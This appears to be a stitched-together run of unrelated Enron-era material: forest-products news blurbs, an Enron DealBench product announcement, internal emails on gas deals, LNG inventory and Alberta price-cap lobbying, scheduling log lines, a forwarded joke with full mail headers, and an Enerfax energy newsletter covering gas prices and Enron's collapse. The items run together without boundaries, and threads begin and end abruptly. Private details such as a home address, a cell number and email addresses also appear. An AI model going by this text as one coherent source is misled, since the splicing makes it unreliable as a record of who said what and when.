( Story... <http://www.forestweb.com/digest/news.control.taf?_section=liststories&_function=detail&FORESTWEBNEWS_uid1=15558&_UserReference=CFB7DADA170BFA9A3C029A81>)    <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#top>

  _____  

Ainsworth to take week shut at Alberta joint-venture OSB mill

11/26/2001 17:06:04, Press Release

      VANCOUVER, Nov. 26, 2001 (press release) -- Ainsworth Lumber Co. Ltd. and Grant Forest Products Corp. announced today that their jointly owned Footner Forest Products Ltd. oriented strand board (OSB) operation at High Level, Alberta, will be taking one week of downtime beginning December 3, 2001. The production curtailment is the result of weak market conditions and the need to focus on maintenance issues related to the plant's ongoing ramp-up to full capacity. ...
( Story... <http://www.forestweb.com/digest/news.control.taf?_section=liststories&_function=detail&FORESTWEBNEWS_uid1=15574&_UserReference=CFB7DADA170BFA9A3C029A81>)    <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#top>

  _____  

Nexfor to take 9-week, market-related shut on MDF line in Scotland

11/26/2001 08:17:56, CNW

        COWIE, Scotland, Nov. 26, 2001 (Canada NewsWire/press release) - Nexfor Inc. announced its European panel business will take a market-related shut of its MDF 2 fibreboard line at Cowie, Scotland for at least nine weeks, effective November 26. The temporary closure will help balance supply with demand in the UK's current, highly competitive medium density fibreboard market....
( Story... <http://www.forestweb.com/digest/news.control.taf?_section=liststories&_function=detail&FORESTWEBNEWS_uid1=15547&_UserReference=CFB7DADA170BFA9A3C029A81>)    <http://www.forestweb.com/digest/news.control.taf?_section=view&_function=detail&EDITION_ID=2129&_UserReference=CFB7DADA170BFA9A3C029A81#top>
  _____  

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DealBench

Enron Net Works' newest initiative is now online!  

The Product
DealBenchTM is an online platform that enables licensing companies to arrange 
and execute transactions  efficiently and effectively.  Companies that 
license DealBenchTM are able to organize their transaction materials, upload 
documents and other materials to a secure website, invite deal participants 
to view deal materials, host various types of online auctions and manage, 
track and close a transaction online.  
DealBenchTM incorporates five specific business tools that streamline the 
transaction process for licensees:
Document Sharing:   deal-related materials in various formats (Word, 
Powerpoint, Excel, CAD drawings, digital pictures,      etc.) can be uploaded 
for deal participants to view and/or edit.

Auctioning/Bidding:   licensees can design and monitor (in real-time) forward 
or reverse auctions and collect sealed tender      bids.

Multi-media:    customers can present high quality virtual road shows and 
asset descriptions using streaming video.

Secure Communication:  DealLineTM messaging system facilitates one-to-one, 
one-to-many, and many-to-many        communication.

Deal Management:   DealNotesTM  enables customers to monitor the progress of 
their deals using statistics on user      downloads, bidding/auction results 
and user page views.

Applications
DealBenchTM has been used by Enron during bank product syndications, the sale 
of a large portfolio of leases, and the procurement of certain materials for 
the new headquarters building.   Soon, DealBenchTM will also meet the 
collaboration needs of Enron attorneys, facilitate online RFQs and provide 
for the hosting of online datarooms.  

To learn more about DealBenchTM, please join eSpeak on Wednesday October 4th 
when Harry Arora (Vice-President, eCommerce) will answer questions regarding 
this Enron Net Works initiative.  For additional information, please visit 
https://www.DealBench.com (username= guest, password= dealbench) or email 
webmaster@DealBench.com.
NOTE:  If you are unable to execute the above link, please copy the link into 
the address line of your installed browser.

We welcome all thoughts and ideas on how the DealBench platform can be 
utilized to address the needs of Enron's business units.  Further, as the 
platform is available to be licensed externally, please forward new business 
development leads to members of the    DealBenchTM team.

I may need more assistance on this issue.  I tried to extend the deal and it 
blocked me saying...

Teco Gas Processing Company is suspended.
Deal with inactive or suspended counterparty may not be extended.

 Any suggestions?

02/23/2001 01:25 PM
cc:  

Subject: Re: meter 6884  

You can extend them, but make sure that the volume is zero.

D

02/23/2001 12:50 PM
cc:  
Subject: meter 6884

Volume management was wondering if deals 137870 and 235670 needed to be 
extended into 2001.  These are deals with Teco.  Let me know if you need me 
to extend them.

The attached spreadsheet allows you to easily calculate Eco's year-end LNG 
inventory for a variety of cases that vary dispatch rate, # days of outage 
for CT1, and number of cargoes diverted between now and year-end. Simply 
enter your assumption for number of days of CT1 outage in cell A16 and the 
number of cargoes you want to divert in cell A23. The year-end inventory is 
automatically calculated. A negative number means that you require more LNG 
than you are entitled to receive.

Assuming that you want the LNG tank full at year-end:

1. Eco will be able to receive 100% of the remaining 6 cargoes if the CT1 
outage is 60 days or less

2. 175 days of CT1 outage are required to result in Eco being able to divert 
1 cargo and still have a full tank at year-end

3. a 60-175 day outage for CT1 results in surplus LNG but whether or not it 
is enough to market depends on how much the outage exceeds 60 days

The above figures assume a 76% dispatch and 95% availability on days that Eco 
is not assumed to be in an outage.

Paul

Seab/Sabine,

Sorry for the delay in getting back to you on this important issue.  The 
three rule changes or designs in other markets you describe look very good 
and are right on point.  I would like to add two more to your list, namely: 

1) Price caps in California

Attached is a one page memo from my colleague in California, Jeff Dasovich.  
Consistent with Jeff's first two points, Steve Kean has told me that in 
addition to chasing existing power supplies out of the state, price caps, and 
the uncertainty surrounding them, chase new generation away.  The turbine 
market is a worldwide market.  Firms will have difficulty committing their 
own capital (and borrowing from others) if they propose to put facilities in 
jurisdisctions where rates are capped or pricing is based on something other 
than the operation of the market.  Several generators, including Dynegy and 
Calpine, have said they will look for other homes for the turbines they have 
ordered.  I have a Nov 10, 2000 Megawatt Daily article that quotes Enron and 
Calpine as saying that price caps in California drove both companies to 
withdraw proposed plants.  

I recognize there is presently no price cap proposal in Alberta but I think 
we can draw the connection between interference through caps and interference 
through other forms of administrative intervention that are being considered 
in Alberta such as: 1) price discrimination on imports, or 2) the latest 
proposal I heard today from the Power Pool which is capping import offers 
into the Power Pool at Mid-C prices plus tranmission costs.

2) FERC Staff Report on Midwest that apparently states on pages 2-15 that 
some market participants believe that developers sited new generation in the 
Midwest because there were no price caps (see attached FERC Report).

As we discussed, I will be using this information in upcoming meetings (this 
Friday is the next one) with the Power Pool and the Alberta Gov't in support 
of Enron's arguments that policy makers in Alberta must "stay the course" 
through the higher priced periods, failing which they will make things much 
worse.

In view of the fact it is U.S. Thanksgiving could you please give me a sense 
of Sabine's timing on this.

Regards,

Rob

"Seabron Adamson" <seabron.adamson@frontier-economics.com> on 11/20/2000 
10:39:39 AM
To: <Robert.Hemstock@enron.com>
cc: "Sabine Schnittger" <sabine.schnittger@frontier-economics.com>, "Kevin. 
Wellenius" <kevin.wellenius@frontier-economics.com> 
Subject: Outline memo for paper on rules changes in other markets

Rob:

Please see attached. Can we discuss later today?

Seab

 - 00-11-20 SA Memo on paper with rule change example paper outline.doc

Start Date: 4/25/01; HourAhead hour: 5;  No ancillary schedules awarded.  

Schedules\2001042505.txt

     Details: (Hour: 5 / Preferred:   1.96 / Final:   1.93)
  TRANS_DATE: 4/25/01

Attached is a worksheet for another new Master Physical.  The counterparty is 
Salt River Project Agricultural Improvement and Power District.  

Please prepare a draft and send to:

Mr. Kent Price
Salt River Project
1600 N. Priest Dr.
Tempe, AZ 85281

Please email a copy to Kim Ward and also to me.

Thanks,

Jay

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 10/12/2000 

10/10/2000 03:38 PM
To: Vince J Kaminski/HOU/ECT@ECT, Pinnamaneni Krishnarao/HOU/ECT@ECT
Subject: Binary (Digital) Options

Vince:

Here is the existing presentation.  I have formatted the document like it 
should appear for the presentation.  Please feel free to change or add to  
the data but do not change the background color, the bullets or the white or 
yellow fonts.  Thanks.  Anita

Szabo DeVries
Suite 400
1111-11th Avenue S.W.
Calgary AB, Canada,
T2R 0G5

Phone: 403.229.1111
Fax:      403.245.0569
http://www.szaboco.com/

Art Szabo is the guy I talk to over there. I have known him for quite a
while, and he's always been helpful.

Cheers, Greg

From: <Cooper.Richey@enron.com>
To: <gberry@solutionsco.com>
Sent: Tuesday, January 29, 2002 8:31 AM
Subject: RE: Your new address

> I believe it is 1001 14th Ave, apt #303 - but i'm waiting for
> sorry for the delay.  you can give them my cell # 262 0205.  afternoons
> work best starting this friday for installation.  thanks.  oh, can you
send
> me the name of that attorney you mentioned?  thx, cooper
>
>    From:   "Greg Berry" <gberry@solutionsco.com>@ENRON
>    Sent:   Tuesday, January 29, 2002 8:08 AM
>    To:     Richey, Cooper
>    Subject:  Your new address
>
>
>    Just a reminder to send me your address first  chance you get. If they
>    ask when they can install the cable modem what date /  times work for
>    you.
>
>    Cheers,
>
>    GB
>
>
>
Thank you.
>
>

Mary,

Here is the modified IOA.  We are nearly complete with our editing and are
waiting for Legal/Executive Review.  Please note, we reserve the right to
make additional changes and this version is preliminary.

Thanks

 <<EnronIOADraft.doc>>

Transmission request link:
http://www.swoasis.com/nevp/NOTICES/TransmissionRequest.htm
Interconnection request link:
http://www.swoasis.com/nevp/NOTICES/InterConnectRequest.htm

I'll let you know the status of your study for your transmission request as
soon as our engineer returns from lunch.

Brian Whalen
Transmission Business Development
(775) 834-4185

 - EnronIOADraft.doc

Start Date: 1/13/02; HourAhead hour: 13;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002011313.txt

---------------------- Forwarded by Judy Hernandez/HOU/ECT on 05/11/2000 

05/11/2000 02:53 PM
To: lsharis@msn.com, Regina Blackshear/Corp/Enron@ENRON, Eve 
Puckett/Corp/Enron@ENRON, Leslie Smith/HOU/ECT@ECT, Christopher 
Hargett/HOU/ECT@ECT, Judy Walters/HOU/ECT@ECT, Judy Hernandez/HOU/ECT@ECT
cc:  
Subject: Fwd: joke

---------------------- Forwarded by Angela Barnett/HOU/ECT on 05/11/2000 

Topey0661@aol.com on 04/17/2000 09:49:59 PM
To: Angela.Barnett@enron.com, BDin64@aol.com, KITTEN0965@aol.com, 
TBOY0909@aol.com
cc:  

Return-Path: <Lmartinez@pme.katy.isd.tenet.edu>
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Date: 17 Apr 00 11:00:37 -0500
From: "l martinez" <Lmartinez@pme.katy.isd.tenet.edu>
Subject: FWD:joke
To: Mari Calderon <micalder@youensmail.alief.isd.tenet.edu>,        Paige 
Camus <PCamus@deepwater.com>, Olga Dinwiddie <Topey0661@aol.com>,        Pam 
Fowkes <phfowkes@youensmail.alief.isd.tenet.edu>,        Andrea grajeda 
<acgraje@youensmail.alief.isd.tenet.edu>,        Miguel Grajeda 
<mgr280cr@hal-pc.org>,        Miguelito Grajeda <robalo@hal-pc.org>,        
Raymond Jasso <reunbrouck@rmi.net>,        Victor Martinez 
<vmartin@kennedymail.alief.isd.tenet.edu>,        Jose Peiro 
<bell_peiro@hotmail.com>,        "Blanca Romero" 
<bromero@pme.katy.isd.tenet.edu>,        Jill Tobar 
<Cctxwwjd@aol.com>,        silvia trinh <silvia.trinh@fortbend.k12.tx.us>
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Reply-To: "l martinez" <Lmartinez@pme.katy.isd.tenet.edu>
Content-Type: multipart/mixed; boundary="====53534952484851555457===1"
Message-Id: <20000417103153.1f762d04.in@pme.katy.isd.tenet.edu>

Funny

On 4/17/00, Nancy Rourke wrote:

On 4/14/00, David Rourke wrote:
joke
See what you think!

Something to bring a smile...
>>
>>> > A Young man had just gotten his driving permit. He asked his father, a
>>> > minister if they could discuss the use of the car. His father said,
>>> > "I'll make deal with you, You bring up your grades, study your Bible a
>>> > little, get your hair cut and we'll talk about it."
>>> >
>>> > After a month the son asked again about the car. His father said "Son
>>> > I've been real proud of you. You brought up your grades and studied
>your
>>> > Bible, but you didn't get your hair cut."
>>> >
>>> > The young man waited a moment and replied, You know Dad, I've been
>>> > thinking about that. Samson had long hair, Moses had long hair, and
>even
>>> > Jesus had long hair."
>>> >
>>> > His father said "Yes, and they walked everywhere they. went."

RFC822 header
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(CDT)
 User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
 Date: Fri, 14 Apr 2000 11:15:37 -0600
 Subject: joke
 From: David Rourke <drourke@persci.com>
 To: "Nancy Rourke" <nrourke@pme.katy.isd.tenet.edu>
 Message-ID: <B51CAE59.243%drourke@persci.com>
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 Content-type: multipart/alternative;
    boundary="MS_Mac_OE_3038555737_888105_MIME_Part"
 Lily Martinez

<HTML>
<HEAD>
<TITLE>joke</TITLE>
</HEAD>
<BODY>
<TT><BR>
See what you think!<BR>
<BR>
<BR>
Something to bring a smile...<BR>
&gt;&gt;<BR>
&gt;&gt;&gt; &gt; A Young man had just gotten his driving permit. He asked 
his father, a<BR>
&gt;&gt;&gt; &gt; minister if they could discuss the use of the car. His 
father said,<BR>
&gt;&gt;&gt; &gt; &quot;I'll make deal with you, You bring up your grades, 
study your Bible a<BR>
&gt;&gt;&gt; &gt; little, get your hair cut and we'll talk about it.&quot;<BR>
&gt;&gt;&gt; &gt;<BR>
&gt;&gt;&gt; &gt; After a month the son asked again about the car. His father 
said &quot;Son<BR>
&gt;&gt;&gt; &gt; I've been real proud of you. You brought up your grades and 
studied<BR>
&gt;your<BR>
&gt;&gt;&gt; &gt; Bible, but you didn't get your hair cut.&quot;<BR>
&gt;&gt;&gt; &gt; The young man waited a moment and replied, You know Dad, 
I've been<BR>
&gt;&gt;&gt; &gt; thinking about that. Samson had long hair, Moses had long 
hair, and<BR>
&gt;even<BR>
&gt;&gt;&gt; &gt; Jesus had long hair.&quot;<BR>
&gt;&gt;&gt; &gt; His father said &quot;Yes, and they walked everywhere they. 
went.&quot;<BR>
<BR>
</TT>
</BODY>
</HTML>

----- Forwarded by Eric Gillaspie/HOU/ECT on 09/25/2000 02:57 PM -----

	Karl E Atkins@ENRON
	Sent by: Karl E Atkins@ENRON
	09/25/2000 02:51 PM
		 
		 To: Don Thomas/GCO/Enron@Enron, Tom Fry/GCO/Enron@Enron, James R 
Haden/HOU/ECT@ECT
		 cc: John Towles/NA/Enron@ENRON, Eric Gillaspie/HOU/ECT@ECT
		 Subject: Tie in CPS 14" Pipeline to HPL 30" Pipe Line, Karnes County, Texas

 2:15 PM, September 25, 2000

 I have just spoken with Ms. Joyce G. Labus, project manager for City Public 
Services of San Antonio. Ms. Labus has informed me that CPS will change it's 
delivery point from the current point six (6) feet +/- outside of our 
existing fifty (50) foot right of way on the Thompsonville to Prarie Lea 30" 
Pipeline to a point at or on the west or northwest easement line of said HPL 
30" pipeline. This enables HPL to install the necessary appurtances within 
HPL's existing 50 foot wide right of way without acquiring additional 
easement rights. 

judy.townsend@enron.com, To unsubscribe send a blank mailto:leave-enerfaxtext-14816594U@relay.netatlantic.com

NORTH AMERICA'S FREE POWER AND GAS INFORMATION SOURCE
              Wednesday, January 30 2002 No. 923
Visit: http://www.enerfax.com to view our web version or for Oil Prices &
News http://www.enerfaxgold.com

PHYSICAL NATURAL GAS PRICES
Gulf/Eastern Region
| Agua Dulce              | 1.90  |
| ANR SE                  | 1.96  |
| Carthage TG             | 1.95  |
| Chicago Citygate        | 2.01  |
| Columbia Gulf Onshore   | 1.97  |
| Dominion South Point    | 2.10  |
| Henry Hub               | 1.97  |
| Houston Ship Channel    | 2.01  |
| Katy Hub                | 1.95  |
| NGPL LA Pool            | 1.92  |
| NGPL - Midcontinent     | 1.90  |
| NGPL STX                | 1.92  |
| NGPL TX/OK              | 1.91  |
| NNG Demarc.             | 1.99  |
| Niagara                 | 2.17  |
| Sonat Tier 1            | 1.96  |
| TCO IPP Pool            | 2.08  |
| Tetco ELa               | 1.96  |
| Tetco M-3               | 2.27  |
| Tetco STX               | 1.92  |
| TGP Zone 0              | 1.92  |
| TGP Zone 1 (500 Leg)    | 1.95  |
| TGT Zone SL             | 1.97  |
| New York Citygate       | 2.32  |
| Transco Station 65      | 2.05  |
| Transco Zone 6 (NY)     | 2.32  |
| Trunk ELa               | 1.95  |
| Western Region
| California Border       | 2.07  |
| El Paso Keystone        | 1.94  |
| El Paso San Juan-Blanco | 1.95  |
| Waha Hub                | 1.93  |
| Canadian/Rockies Region
| Nova/Aeco (C$/gig)      | 2.73  |
| Dawn Hub/Union          | 2.12  |
| Northwest Stanfield     | 2.00  |
| Wyoming Pool            | 1.84  |
| Opal                    | 1.86  |
| PGT-Malin               | 2.05  |
| Sumas                   | 2.00  |
          Flow Date 1/30

Henry Hub
12 Month Strip  2.4381 +0.0657
18 Month Strip  2.5883 +0.0617
| FEB   | 2.080 | 1.910 | 2.006 | +0.098 |
| MAR   | 2.090 | 2.010 | 2.067 | +0.083 |
| APR   | 2.180 | 2.100 | 2.150 | +0.071 |
| MAY   | 2.270 | 2.200 | 2.240 | +0.065 |
| JUN   | 2.350 | 2.280 | 2.320 | +0.065 |
| JUL   | 2.395 | 2.350 | 2.393 | +0.063 |
| AUG   | 2.445 | 2.390 | 2.453 | +0.063 |
| SEP   | 2.455 | 2.420 | 2.458 | +0.059 |
| OCT   | 2.480 | 2.450 | 2.488 | +0.059 |
| NOV   | 2.720 | 2.690 | 2.718 | +0.054 |
| DEC   | 2.930 | 2.900 | 2.933 | +0.054 |
| JAN   | 3.025 | 3.000 | 3.031 | +0.054 |
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Natural Gas Futures Rally on Late Short-Covering

    Natural gas futures for February delivery on the NYMEX powered upward
yesterday, driven by locals short-covering near the close. It ran as high
as $2.08 per MMBtu before expiring up $0.098 at $2.006 per MMBtu, but
still down 23% from when it began as the prompt month at $2.619 per MMBtu.
The March contract rose $0.083 to $2.067 per MMBtu. The expiration was the
lowest since October's $1.83 finish in late September. And prospects
remain bearish for the new prompt March contract, surrounded by bearish
technical and fundamental signals. Look for support at $1.76-$1.80. Mild
weather across much of the nation and the huge storage excess sent prices
mainly downward all month. Traders saw funds covering short positions
during the morning, with trading houses covering in the early afternoon.
Locals, which were short near the close, started buying. The market still
carries a huge $0.965 forward carry between the February-March contract
and January 2003. The larger that forward carry, the more bearish the
market can be. Look for more short-covering before selling brings the
market back down. The AGA will release its weekly  storage report this
afternoon. Expect a withdrawal of about 110 - 120 Bcf. The 5-year average
for the week is 150 Bcf.  A year ago there was a draw of 128 Bcf.
Yesterday's estimated volume was 127,000 contacts, with 47,000 of those
hedge or spreads. Natural gas for next day delivery across the US and
Canada was generally flat to down $0.05 yesterday as cold weather moves
back into the Midwest. Natural gas for next day delivery at the Henry hub
lost $0.05 to $1.97 per MMBtu.
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 * Newfoundland Power 2001 Profit Up on Higher Sales
 * Shares of Calpine Drop 8.6% Yesterday
 * Shares of Mirant Drop 7.7% Yesterday
 * FERC Meeting Today; Issues Include New Push to Address Market Power and
California Case
 * Former FERC Chairman James Hoecker Spearheading New Lobbying Effort on
Behalf of Electricity Restructuring
 * NRG Energy Achieves 2001 Earnings of $1.36 per Share
 * Cleco Reports 2001 Earnings Up 8%
 * PPL Reports 2001 Earnings Drop Sharply, But Increases Dividend by 36%
Forecasts 2002 EPS from Core Operations of $3.30 - $3.50.
 * Capstone CEO to Speak at SSB Power Technology Conference February 5th
in
New York City
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FirstEnergy Merger-Related Staffing Reductions

      FirstEnergy has implemented a work-force reduction affecting
duplicative positions resulting from its merger with GPU, which was
headquartered in Morristown, New Jersey.  The reduction of 265 employees
is in line with staffing level recommendations made following an in-depth
study of operations.  Affected employees primarily work in corporate
support groups in Reading, Pennsylvania, and Morristown, including
finance, legal, communications, human resources and information
technology.  They qualify for severance benefits, including a lump-sum
payment based on years of service, career counseling, and up to three
months of career transition services. Merger related staffing actions to
date total 668 positions -- including this staffing reduction, 213
employees who left the company and will not be replaced, and 190 employees
who will be retained for several months up to 18 months to complete
merger-related transition assignments.

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02FEB   65,394
02MAR   27,569
02APR    9,642
02MAY    4,348
02JUN    2,131
02JLY    4,109
02AUG    2,891
02SEP    1,714
02OCT    2,626
02NOV    1,293
02DEC      907
03JAN    2,158
03FEB    1,044
03MAR    1,015
03APR       60
03MAY      122
03JUN      821
03JLY      136
03AUG      202
03SEP      252
03OCT       14
03NOV       13
03DEC       63
04JAN      112
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Merrill Lynch Top Executives Involved in Enron Partnership

   A report that Merrill Lynch executives invested in a limited
partnership, LJM2, which was used by Enron to inflate earnings and hide
debt from shareholders, has sent the investment company scurrying to deny
any wrongdoing. Merrill Lynch invited managing directors and senior
executives to invest in the partnerships after it helped Enron raise $349
million for the partnership from pension funds and other institutional
investors. Critics say that some investment banks may have been less
stringent in their scrutiny of Enron because senior executives were doing
business with it and had a vested interest in its profits, raising
questions about conflict of interest. The investments may be subject to
congressional examination after the House Energy and Commerce Committee
subpoenaed Enron's partnership records, including the identities of
investors. Enron has revealed that its former CFO made $30 million from 2
partnerships, including LJM2. Merrill Lynch says that the investment
partnership is in line with common industry practices. Merrill Lynch
claims that it was offered to qualified external as well as internal
investors, which would not be a conflict of interest.
ENERGY.

FEA
http://www.fea.com/?cId=17
email address: info@fea.com
| Cinergy    | 19.25 | 18.15 |  18.55  |
| ECAR       | 22.00 | 15.75 |  19.50  |
| ERCOT      | 19.40 | 17.50 |  18.60  |
| Entergy    | 18.00 | 16.00 |  16.95  |
| TVA        | 20.40 | 18.65 |  19.35  |
| ComEd      | 20.00 | 19.00 |  19.50  |
| Nepool     | 27.75 | 27.00 |  27.30  |
| PJM West   | 21.50 | 21.00 |  21.25  |
| Main       | 20.00 | 17.50 |  18.90  |
| MAPP       | 21.00 | 19.50 |  20.00  |
| Palo Verde | 26.00 | 23.50 |  24.30  |
| Mid C      | 19.50 | 18.95 |  19.15  |
| COB        | 22.00 | 21.00 |  21.35  |
| 4 Corners  | 25.50 | 23.25 |  24.60  |
| Mead       | 26.00 | 24.75 |  25.20  |
| NP 15      | 24.25 | 23.50 |  23.70  |
| SP 15      | 24.50 | 23.50 |  23.90  |
            Power Delivered 1/30
CFTC Says No Enron Market Manipulation

    Enron did not try to engage in market manipulation at any futures
exchange, according to testimony before the Senate Energy Committee by the
chairman of the Commodity Futures Trading Commission. Both the CFTC
chairman and the FERC chairman said they did not see a need for new
federal market regulation because of Enron. FERC has found no substantial
spillover effects into the energy markets because of Enron. In the
aftermath of Enron's collapse, prices and energy markets remained stable,
with neither electric nor natural gas deliveries being disrupted.
Allegheny Energy Supply Company, Salt River Project (SRP) and Sempra
Energy
Resources announce Open Season for proposed Desert Crossing Gas Storage
and
Transportation System. Open Season for customers interested in capacity
begins Jan. 10, 2002 and extends through Feb. 8, 2002.  For information,
visit http://www.desert-crossing.com
 * El Paso Shares Tumble 6.2 % Yesterday
 * Anadarko Says 3rd Quarter Charges Should Be $1.7 Billion Higher
 * Northern Border Partners Reports 25% Increase in 4th Quarter Net Income
 * House Energy and Commerce Committee Seeks Data on Andersen-Enron
Consulting
 * TransCanada PipeLines 4th Quarter Profit Slips 5%, But Dividend Up 11%
 * House of Representatives Speaker Dennis Hastert Backs President Bush's
Decision Not to Hand Over Records to Congressional Investigators on
Involvement by Enron
 * China Seeking Foreign Partners to Build City Natural Gas Grid in
Shanghai; Plans to Double Supply to Meet Booming Consumption
 * TC PipeLines Announces 17% Increase in 2001 Earnings; New Nasdaq
Trading
Symbol 'TCLP'
 * Sempra Energy Trading Acquires Enron Metals Limited; Plans to
Capitalize on Synergies Between Energy and Metals Trading Markets
 Ziff Energy Group presents
Gas Storage 2002
Redefining the Fundamentals:
Is Gas Still in the Storage Game?
Power Drives Storage
Will the recession affect plant and storage development?
Will record high volumes in storage further depress gas prices?
Is it possible to mitigate storage risk while dealing with year-round
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Hear what the Power Generator wants from the storage industry
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Learn from the expert how to mitigate storage price risk in the 2002 gas
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February 6 & 7
Houston
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Register Today for this Important Conference
Call 1-800-853-6252

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Visit: http://www.ziffenergyconferences.com
Enron Names Bankruptcy Specialist as Interim CEO

    Enron has named Stephen Cooper, managing partner of Zolfo Cooper, as
interim chief executive officer and chief restructuring officer. Enron
also named Jeff McMahon as president and chief operating officer and Ray
Bowen as CFO. Cooper, McMahon and Bowen will take on the task of trying to
raise Enron from the ashes after its collapse. Coopers firm specializes in
resurrecting bankrupt companies. Cooper is currently handling the
bankruptcy reorganization of Greyhound Lines parent Laidlaw Inc, but
Laidlaw's restructuring is almost complete. Industry experts say that
Cooper must now balance the demands of the bankruptcy with running the
remaining businesses and handling the lawsuits and investigations related
to Enron's collapse. The new CEO says that with more than 19,000 employees
worldwide, Enron has real businesses with real value. He said that his
team will work closely with the Board of Directors, management and the
creditors' committee to develop a reorganization plan to maximize value
for the company's shareholders. He has already begun working for Enron.
Greg Whalley, who had been president and CEO resigned to take a position
with UBS Warburg, which acquired Enron's energy trading unit 2 weeks ago.
Enron has also agreed to sell businesses and long-term contracts for more
than $520 million and relinquished control of Northern Natural Pipeline to
Dynegy. Additionally, it plans to sell Portland General Electric to
Northwest Natural Gas for about $3 billion. There has been no word of when
the Board of Directors will name a new chairman to replace Ken Lay.
R. W. Beck is an engineering and management consulting firm serving
utilities, developers, financiers and governments worldwide.  Founded in
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POWER FUTURES
| Month |   COB   | Change |   PV    | Change  |
| FEB   |  21.25  | +0.00  |  21.25  |  +0.00  |
| MAR   |  18.50  | +0.00  |  21.25  |  +0.25  |
| APR   |  20.00  | +0.00  |  14.00  |  -8.25  |
| MAY   |  18.25  | +0.00  |  14.50  |  -8.75  |
| JUN   |  20.00  | +0.00  |  16.50  | -11.25  |
| JUL   |  29.50  | +0.00  |  37.50  |  -0.25  |
| AUG   |  40.00  | +0.00  |  42.75  |  +0.25  |
| SEP   |  34.00  | +0.00  |  33.00  |  +0.75  |
| OCT   |  28.00  | +0.00  |  27.75  |  +0.00  |
| NOV   |  27.50  | +0.00  |  26.75  |  +0.50  |
| DEC   |  28.50  | +0.00  |  27.25  |  +0.50  |
| JAN   |  28.50  | +0.00  |  28.50  |  +0.25  |
| Month | Entergy | Change | Cinergy | Change  |
| FEB   |  18.25  | +0.00  |  19.70  |  +0.00  |
| MAR   |  19.50  | +0.25  |  21.00  |  +0.15  |
| APR   |  19.50  | +0.25  |  21.00  |  +0.15  |
| MAY   |  23.00  | +0.40  |  24.50  |  +0.25  |
| JUN   |  27.00  | +0.25  |  29.50  |  +0.50  |
| JUL   |  34.25  | +0.75  |  38.00  |  +0.75  |
| AUG   |  34.25  | +0.75  |  38.00  |  +0.75  |
| SEP   |  21.50  | -4.50  |  22.75  |  +0.45  |
| OCT   |  21.50  | +0.15  |  22.30  |  +0.45  |
| NOV   |  21.50  | +0.15  |  22.30  |  +0.45  |
| DEC   |  21.50  | +0.15  |  22.30  |  +0.45  |
| JAN   |  24.15  | -0.10  |  25.50  |  +0.25  |
Power Futures
| FEB   | 23.50 | +0.00  |
| MAR   | 24.35 | +0.30  |
| APR   | 34.35 | +0.30  |
| MAY   | 27.70 | +0.45  |
| JUN   | 34.25 | +1.00  |
| JUL   | 45.50 | +1.00  |
| AUG   | 45.50 | +1.00  |
| SEP   | 26.10 | +0.60  |
| OCT   | 25.50 | +0.50  |
| NOV   | 25.50 | +0.50  |
| DEC   | 25.50 | +0.50  |
| JAN   | 29.50 | +0.50  |
Senate Committee Examines Enron's Impact on Energy Markets

     Conventional futures exchanges like the NYMEX are entirely regulated
by the CFTC. But the Commodity Futures Modernization Act of 2000, passed
by Congress after a big lobbying effort by Enron, removed over-the-counter
and some on-line energy transactions from CFTC control. Those exempted
markets made up the bulk of Enron's trading operations. The CFTC is
working with the White House on auditing and accounting standards, and the
combination of its market supervisory functions under one agency division.
Although at least 8 other congressional probes are being conducted into
the financial and accounting facets of Enron's demise, the Senate Energy
Committee's authority is limited to the effects of Enron's meltdown on
energy markets and consumers. Legislators at the hearing saw little impact
from Enron on US energy markets. Some on the panel referred to it as
business failure, not an energy market failure. Even though the chairman
of the NYMEX has not call for any greater regulation of over-the-counter
markets, he has called on regulators to treat on-line exchanges and
traditional pit-based ones equally.
Energy Seminars, Inc. Announces Key Seminar Offerings for January:

Energy Seminars will be going to Florida and Calgary in 2002!

Click to http://www.energyseminars.com to see our 2002 schedule.

Register on-line at http://www.energyseminars.com or call Registrar Gina
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Phone: 281-362-7979
FAX: 281-296-9922
--------------------------------------------------------------------------------------------------------------------------

Derivatives at Root of Enron Collapse

    Enron's extensive use of derivatives, not just its accounting
practices, lie at the root of its fall into bankruptcy. Enron had used
profits from its derivatives trading operation, which was little
understood by investors, to mask losses in its more visible businesses
even as some of its employees may have been fraudulently manipulating
those profits. Enron reaped huge profits from derivatives.  But it lost
billions on most everything else it did, including projects in fiber-optic
bandwidth, retail natural gas and power, water systems and technology
stocks, but used its expertise in derivatives to hide these losses.
Derivatives are complex financial contracts whose values are linked to
underlying variables such as the prices of commodities, stocks or bonds.
They are used by sophisticated investors to manage risk. Enron's use of
derivatives both outside and inside the company can likely be directly
linked to its collapse. On the outside, they were used to create the
company's web of off-balance sheet deals with complex financial
partnerships known as special-purpose vehicles. After some of those deals
went sour, Enron in October took a $1 billion charge against earnings and
a $1.2 billion write-down in shareholder equity, triggering its nosedive
into bankruptcy. But Enron's derivatives problems ran far deeper than the
outside special purpose vehicles. It appears that some Enron employees
used dummy accounts and rigged valuation methodologies to create false
profit and loss entries for the derivatives Enron traded.

           Progas Storage and Services, Inc.

Progas is now accepting proposals and orders for years 2002-2007 for
approxamately 5 bcf of storage on Midwestern system serving Indiana,
Illinois, and 3 bcf on Texas Gas Transmission system serving Tennessee,
northern Kentucky, Indiana, and Ohio.  Additional potential storage filds
beding acquired at this time on Midwestern, anhandle Eastern and A & R
(Coastal) systems serving the Upper Midwest. Inquiries from potential
partners, investment bankers, and brokers welcome.

Williams' Shares Plunge 22% on Telecom Debt

    Shares of Williams tumbled 22% yesterday after it reported it may have
up to $2.4 billion in costs from Williams Communications which was spun
off last April. Williams may have to pay $1.4 billion in Williams
Communications debt if its credit rating falls below investment grade. It
also may owe $750 million in Williams Communications fiber optic-network
leases and $250 million in other expenses. Shares of Williams
Communications dropped 80% last year as growth evaporated with the dot.com
collapse. In the past month, Williams sold securities and cut capital
spending to strengthen its balance sheet amid increased scrutiny by
credit-rating agencies in the wake of Enron's collapse. It also plans to
sell assets to maintain the all-important investment-grade debt rating.
Because of the debt review, Williams delayed reporting 4th quarter results
that had been scheduled for release yesterday. The review will have no
direct impact on Williams Communications business, the company said in a
